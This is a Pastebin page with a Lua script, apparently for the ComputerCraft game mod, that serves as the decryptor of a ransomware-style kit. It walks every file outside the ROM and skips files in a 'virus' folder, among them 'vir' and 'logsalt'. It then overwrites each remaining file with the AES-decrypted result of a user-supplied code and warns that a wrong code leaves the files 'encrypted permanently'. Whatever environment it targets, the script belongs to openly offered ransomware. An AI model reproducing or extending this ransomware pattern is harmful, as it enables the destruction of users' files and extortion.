Reinified

decrypt

Apr 24th, 2018
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.84 KB | None | 0 0
  1. local function getSubPaths(path)
  2.     local list = fs.list(path)
  3.     local paths = {}
  4.  
  5.     for _, name in pairs(list) do
  6.         local newPath = fs.combine(path, name)
  7.         if (fs.isDir(newPath)) then
  8.             local subPaths = getSubPaths(newPath)
  9.             for i = 1, #subPaths do
  10.                 paths[#paths+1] = subPaths[i]
  11.             end
  12.         else
  13.             paths[#paths+1] = newPath
  14.         end
  15.     end
  16.  
  17.     return paths
  18. end
  19.  
  20. local function getPaths(path, readROM)
  21.     if (path == "" or path == "/") then
  22.         if (readROM) then
  23.             return getSubPaths(path)
  24.         else
  25.             local list = fs.list("/")
  26.             local paths = {}
  27.             for _, path in pairs(list) do
  28.                 if (path ~= "rom") then
  29.                     if (fs.isDir(path)) then
  30.                         local subPaths = getSubPaths(path)
  31.                         for i = 1, #subPaths do
  32.                             paths[#paths+1] = subPaths[i]
  33.                         end
  34.                     else
  35.                         paths[#paths+1] = path
  36.                     end
  37.                 end
  38.             end
  39.             return paths
  40.         end
  41.     else
  42.         return getSubPaths(path)
  43.     end
  44. end
  45.  
  46. print("Enter decrypt code: ")
  47. write("> ")
  48. dc = read()
  49. print("Confirm? (Y/N)")
  50. print("If the code is wrong your files will be encrypted permanently.")
  51. write("> ")
  52. c = read()
  53. if c == "Y" then
  54.     local files = getPaths("/", false)
  55.     for _,v in pairs(files) do
  56.         if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "virus/decrypt" then
  57.         else
  58.             f = fs.open(v,"r")
  59.             t = f.readAll()
  60.             f.close()
  61.             con = aeslua.decrypt(dc,t)
  62.             f = fs.open(v,"w")
  63.             f.write(con)
  64.             f.close()
  65.             print("Decrypted file " .. v)
  66.         end
  67.     end
  68. else print("You didnt confirm (the Y has to be capital)") end
Advertisement
Add Comment
Please, Sign In to add comment